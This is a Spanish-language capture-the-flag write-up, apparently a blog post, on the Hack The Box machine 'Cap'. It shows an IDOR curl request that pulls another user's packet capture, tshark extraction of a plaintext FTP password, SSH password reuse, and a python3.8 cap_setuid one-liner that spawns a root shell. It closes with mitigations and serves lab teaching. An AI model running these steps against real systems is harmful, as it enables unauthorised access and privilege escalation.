Post

HTB - Cap

HTB - Cap

Cap es una máquina Linux de dificultad Easy centrada en un panel de seguridad escrito en Python. Una vulnerabilidad IDOR permite descargar la captura de red de otro usuario, que contiene credenciales FTP en texto claro. Reutilizamos esas credenciales por SSH y escalamos a root abusando de una capability de Linux sobre el binario de Python.

Ficha de la máquina

Campo Valor
Nombre Cap
SO Linux
Dificultad Easy
IP 10.10.10.245
Foothold IDOR en /data/<id> → pcap con credenciales FTP
Privesc cap_setuid+ep sobre /usr/bin/python3.8
Técnicas clave IDOR, análisis de pcap, password reuse, Linux capabilities

IPs, credenciales y flags son de ejemplo / a modo de referencia. No se publican flags reales.

Reconocimiento

1
nmap -sC -sV -p- --min-rate 5000 -oN nmap/cap.txt 10.10.10.245
1
2
3
4
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Gunicorn

El puerto 80 sirve un Security Dashboard en Python (Gunicorn/Flask) con opciones para generar capturas de tráfico, ver netstat, IP config, etc.

Cadena de ataque

flowchart LR
    A[nmap<br/>21/22/80] --> B[Security Dashboard<br/>en :80]
    B --> C[IDOR en /data/id]
    C --> D[/data/0<br/>pcap de otro usuario/]
    D --> E[Wireshark<br/>credenciales FTP]
    E --> F[SSH password reuse<br/>usuario nathan]
    F --> G[getcap<br/>python3.8 cap_setuid]
    G --> H[os.setuid 0<br/>root]

Foothold

IDOR en las capturas

Al pulsar Security Snapshot, la app redirige a una ruta del tipo /data/<id>, donde <id> es un número que identifica tu captura (por ejemplo /data/1, /data/2…). El identificador es predecible y no valida a quién pertenece la captura: cambiándolo a 0 accedemos a la primera captura, generada por otro usuario:

1
curl -s http://10.10.10.245/download/0 -o 0.pcap

Este es un IDOR (Insecure Direct Object Reference): el servidor confía en un identificador manipulable por el cliente sin comprobar autorización.

Análisis del pcap

Abrimos la captura y seguimos el flujo TCP del tráfico FTP (protocolo en texto claro):

1
2
3
# Con tshark, directamente extraemos usuario y contraseña
tshark -r 0.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
  -T fields -e ftp.request.command -e ftp.request.arg
1
2
USER  nathan
PASS  Buck3tH4TF0RM3!

Acceso (user)

Las credenciales FTP están reutilizadas para la cuenta del sistema, así que entramos por SSH:

1
2
ssh nathan@10.10.10.245
# Password: Buck3tH4TF0RM3!

Ya podemos leer la flag de usuario.

Escalada de privilegios

Buscamos binarios con capabilities de Linux asignadas:

1
getcap -r / 2>/dev/null
1
/usr/bin/python3.8 = cap_setuid+ep

La capability cap_setuid permite al binario cambiar su UID sin ser SUID root. Con Python podemos elevar a UID 0 y lanzar una shell:

1
2
3
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id
# uid=0(root) gid=0(root) groups=0(root)

cap_setuid+ep sobre un intérprete equivale a darle root a quien pueda ejecutarlo. Las capabilities son más granulares que SUID, pero mal asignadas son igual de peligrosas.

Spoiler — dónde están las flags La flag de usuario está en /home/nathan/user.txt y la de root en /root/root.txt. No se incluyen aquí sus valores.

Mitigación

  • Validar la autorización en cada objeto: comprobar que la captura solicitada pertenece al usuario autenticado (evitar IDOR). Usar identificadores no predecibles (UUID) es defensa en profundidad, no la solución principal.
  • No usar protocolos en texto claro (FTP) para credenciales; usar FTPS/SFTP.
  • No reutilizar contraseñas entre servicios y cuentas del sistema.
  • Revisar y minimizar las capabilities asignadas a binarios (getcap -r /); nunca asignar cap_setuid a intérpretes.

Recursos

This post is licensed under CC BY 4.0 by the author.